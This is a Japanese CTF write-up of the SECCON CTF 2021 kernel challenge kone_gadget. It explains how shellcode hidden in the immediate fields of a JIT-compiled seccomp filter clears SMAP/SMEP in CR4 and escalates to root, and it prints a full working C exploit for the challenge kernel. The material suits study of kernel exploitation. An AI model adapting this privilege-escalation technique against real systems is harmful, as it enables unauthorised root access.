newbieからバイナリアンへ

newbie dive into binary

昨日は海を見に行きました

【pwn 58.0】kone_gadget - SECCON CTF 2021 観戦記 (kernel exploit)

 

 

1: イントロ

SECCON CTF 2021 がいつだったか開催されたみたいです。本エントリではkernel問題のkone_gadgetを復習していきます。開催期間中は解けませんでした。あとパソコン壊れました。そろそろ買い換えようと思います。

なお、exploitはauthorさんのコピペなのでDiscordのチャンネルを見てください。

 

2: static

lysithea

lysithea.sh
===============================
Drothea v1.0.0
[.] kernel version:
Linux version 5.14.12 (ptr@medium-pwn) (x86_64-buildroot-linux-uclibc-gcc.br_real (Buildroot 2021.08-1129-gdd1412c060-dirty) 10.3.0, GNU ld (GNU Binutils) 2.36.1) #4 SMP Mon Nov 8 23:50:41 JST 2021
[-] CONFIG_KALLSYMS_ALL is enabled.
cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory
[-] unprivileged userfaultfd is disabled.
[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
Ingrid v1.0.0
[.] userfaultfd is not disabled.
[-] CONFIG_STRICT_DEVMEM is enabled.
===============================

 

コレを見て、あ、unprivileged bpf使えないんかと絶望した。

 

patch

問題はシンプルで、以下のシステムコールを追加する。rax以外のレジスタを全クリアした上で、指定したアドレスにジャンプする。

 

patch.c
// Added to `arch/x86/entry/syscalls/syscall_64.tbl`
1337 64 seccon sys_seccon

// Added to `kernel/sys.c`:
SYSCALL_DEFINE1(seccon, unsigned long, rip)
{
  asm volatile("xor %%edx, %%edx;"
               "xor %%ebx, %%ebx;"
               "xor %%ecx, %%ecx;"
               "xor %%edi, %%edi;"
               "xor %%esi, %%esi;"
               "xor %%r8d, %%r8d;"
               "xor %%r9d, %%r9d;"
               "xor %%r10d, %%r10d;"
               "xor %%r11d, %%r11d;"
               "xor %%r12d, %%r12d;"
               "xor %%r13d, %%r13d;"
               "xor %%r14d, %%r14d;"
               "xor %%r15d, %%r15d;"
               "xor %%ebp, %%ebp;"
               "xor %%esp, %%esp;"
               "jmp %0;"
               "ud2;"
               : : "rax"(rip));
  return 0;
}

 

 

3: 考えたこと(FAIL)

スタックをピボットしてmmapしたuser領域に向けてなんとかROP出来ないかと一瞬考えた。SMAPだったわと思ってすぐに考えるのを止めた。authorを信頼しているため、まさかタイトルの通り本当にone_gadgetが存在しているとは全く思わなかったが、実際に手を動かさないとわからなさそうだったので、諦めた。

 

 

4: 想定解

終わってすぐに非想定解の方を聞いたため呆気にとられてしまったが、よくよく見るとちゃんと想定解があった。そしてかなり賢くて良い問題だった。

想定解では、seccompを使っている。seccompのフィルタルールがJITされること、及びNOKASLRゆえにそのページアドレスもpredictableなことを利用して、JITしたページに飛ぶとuser-controlledなコードを実行できる。とはいっても、bpfでは命令セットが少なく、pushとかpopもない(よね?)ため、ロード命令のIMMフィールドを上手く使ってシェルコードにしている。

どういうことかというと、以下のようなbpf命令を考えると:

.c
#define NOP \
  ((struct bpf_insn){                                                          \
      .code = BPF_LD | BPF_IMM, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0x01eb9090})

実際に生成されるJITコードは以下のようになる:

.txt
(gdb) x/10i $rip - 0x4
   0xffffffffc0000efc:  add    DWORD PTR [rax+0x1eb9090],edi
   0xffffffffc0000f02:  mov    eax,0x1eb9090
   0xffffffffc0000f07:  mov    eax,0x1eb9090
   0xffffffffc0000f0c:  mov    eax,0x1eb9090

これを、オペランドの部分だけ見て解釈すると以下のようにnop + nop + jmp 0x3になる:

.txt
(gdb) x/10i $rip - 0x2
   0xffffffffc0000efe:  nop
   0xffffffffc0000eff:  nop
=> 0xffffffffc0000f00:  jmp    0xffffffffc0000f03
   0xffffffffc0000f02:  mov    eax,0x1eb9090
   0xffffffffc0000f07:  mov    eax,0x1eb9090
   0xffffffffc0000f0c:  mov    eax,0x1eb9090

こうすることで、オペランドの中で任意の命令を実行しては、次にある命令をスキップしてまた任意の命令の実行に繋げることが出来る。

これで任意のシェルコードを実行できるようになった。あとはcommit(pkc(0))するために、kROPをしたい。これは、上のシェルコードなかでCR4をクリアしてSMAP/SMEP無効にすることで実現できる。賢いね。

因みに、上に書いた理由で成功率は75%の気がする。上のNOP命令のうち、nopとjmpでないところに当たると失敗する。また、スタック用のページは2ページ分ちゃんととらないと他の関数を呼んだときにスタックが溢れるので注意(これで少し時間を潰した)。

 

 

5: 非想定解

.asm
jmp &flag

f:id:smallkirby:20211212211419p:plain

jmp to flag

 

うわーーーーーーーーーーーーーーーーーーーーーーーーーーーーい。

 

 

6: exploit

 

Almost parts are copied from author's poc.

 

.c
#include "./exploit.h"
#include <linux/prctl.h>
#include <sys/mman.h>

/*********** constants ******************/

#define STACK 0xFFF000// must be
const ulong SECCOMP_RET_ALLOW = 0x7fff0000;

// KASLR is disabled
scu commit_creds = 0xffffffff81073ad0;
scu pkc = 0xffffffff81073c60;
scu trampoline = 0xffffffff81800e26;

#define NOP \
  ((struct bpf_insn){                                                          \
      .code = BPF_LD | BPF_IMM, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0x01eb9090})
#define BPF_RET_IMM(IMM) \
  ((struct bpf_insn){                                                          \
      .code = BPF_RET, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = IMM})

#define FSIZE 0x312 // COPIED FROM AUTHOR'S POC

// (END constants)

// clean e(dx|bx|cx|si|bp|sp), r([8-15])d, and jmp to $rip[$rax]
void seccon(ulong offset) {
  assert(syscall(1337, offset) == 0);
}

void install_filter(char *filter, ushort len) {
  struct sock_fprog prog = {
    .len = len,
    .filter = (struct sock_filter*)filter,
  };
  if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) errExit("no_new_privs");
  if(prctl(PR_SET_SECCOMP, 2, &prog) < 0) errExit("set_seccomp");
}

int main(int argc, char *argv[]) {
  puts("[+] start of exploit");
  struct bpf_insn nop = NOP;
  struct bpf_insn ret = BPF_RET_IMM(SECCOMP_RET_ALLOW);
  printf("[+] nirugiri @ %p\n", NIRUGIRI);
  save_state();
  ulong rop[] = {
    pkc,
    commit_creds,
    trampoline,
    0,
    0,
    (ulong)NIRUGIRI,
    (ulong)user_cs,
    (ulong)user_rflags,
    (ulong)user_sp,
    (ulong)user_ss,
  };
  ulong *filter = (ulong*)malloc((FSIZE + 1) * 8);

  // 2 more page is required cuz pkc() and etc uses stack
  const char *addr = (char*)mmap((void*)STACK, 2 * PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_POPULATE | MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, -1, 0);
  if (addr == MAP_FAILED || addr != (char*)STACK) errExit("mmap");
  printf("[+] mapped @ %p\n", addr);

  for (int ix = 0; ix != sizeof(rop); ++ix)
    ((ulong*)(addr + PAGE))[ix] = rop[ix];
  for (int ix = 0; ix != FSIZE; ++ix)
    filter[ix] = *(ulong*)&nop;
  filter[FSIZE] = *(ulong*)&ret;

  ulong *chain = &filter[FSIZE - 20];
  /**** COPIED from comment in Discord of SECCON 2021 from author: @ptrYudai ********/
  /**** (NOTE: 'jmp 1' here means `jmp 0x3`, which skips valid opcode field and jump to operand field, which is actually shellcode for us.) **/
  /**** (NOTE: unprivileged bpf installation is disallowed in this kernel, but seccomp installation is allowed and JITed, **/
  /****   So below insts uses LD instruction, whose IMM field is shellcode.) **/
  /**** (NOTE: for the reason stated above, success rate is 75%. )  **/
  *chain++ = (ulong)(0x04E7200F) << 32; // mov rdi, cr4; add al, XX;
  // edx = ~0x300000
  *chain++ = (ulong)(0x01ebD231) << 32; // xor edx, edx; jmp 1;
  *chain++ = (ulong)(0x01ebC2FF) << 32; // inc edx; jmp 1;
  *chain++ = (ulong)(0x01ebE2D1) << 32; // shl edx, 1; jmp 1;
  *chain++ = (ulong)(0x01ebC2FF) << 32; // inc edx; jmp 1;
  *chain++ = (ulong)(0x0414E2C1) << 32; // shl edx, 20; add al, XX;
  *chain++ = (ulong)(0x01ebD2F7) << 32; // not edx;
  // rdi &= rdx
  *chain++ = (ulong)(0x04D72148) << 32; // and rdi, rdx; add al, XX;
  // cr4 = rdi
  *chain++ = (ulong)(0x04E7220F) << 32; // mov cr4, rdi; add al, XX;
  // esp = 0x1000000
  *chain++ = (ulong)(0x01ebE431) << 32; // xor esp, esp; jmp 1;
  *chain++ = (ulong)(0x01ebC4FF) << 32; // inc esp; jmp 1;
  *chain++ = (ulong)(0x0418E4C1) << 32; // shl esp, 24; add al, XX;
  // commit_creds(prepare_kernel_cred(NULL));
  *chain++ = (ulong)(0x01ebFF31) << 32; // xor edi, edi; jmp 1;
  *chain++ = (ulong)(0x01eb9058) << 32; // pop rax; nop; jmp 1;
  *chain++ = (ulong)(0x01ebD0FF) << 32; // call rax; jmp 1;
  *chain++ = (ulong)(0x04C78948) << 32; // mov rdi, rax; add al, XX;
  *chain++ = (ulong)(0x01eb9058) << 32; // pop rax; nop; jmp 1;
  *chain++ = (ulong)(0x01ebD0FF) << 32; // call rax; jmp 1;
  // jump to swapgs_restore_regs_and_return_to_usermode
  *chain++ = (ulong)(0xccE0FF58) << 32; // pop rax; jmp rax;
  /**** end copied ******************************************************************/

  install_filter((char*)filter, FSIZE + 1);
  seccon(0xffffffffc0000f00); // JITed code is loaded

  // end of life
  puts("[ ] END of life...");
  sleep(999999);
}

 

 

7: アウトロ

f:id:smallkirby:20211212211358p:plain

nirugiri

良い問題でした。

 

 

 

8: 参考

1: nirugiri

https://youtu.be/yvUvamhYPHw

2: lysithea

https://github.com/smallkirby/lysithea

 

 

続く...

 

 

You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.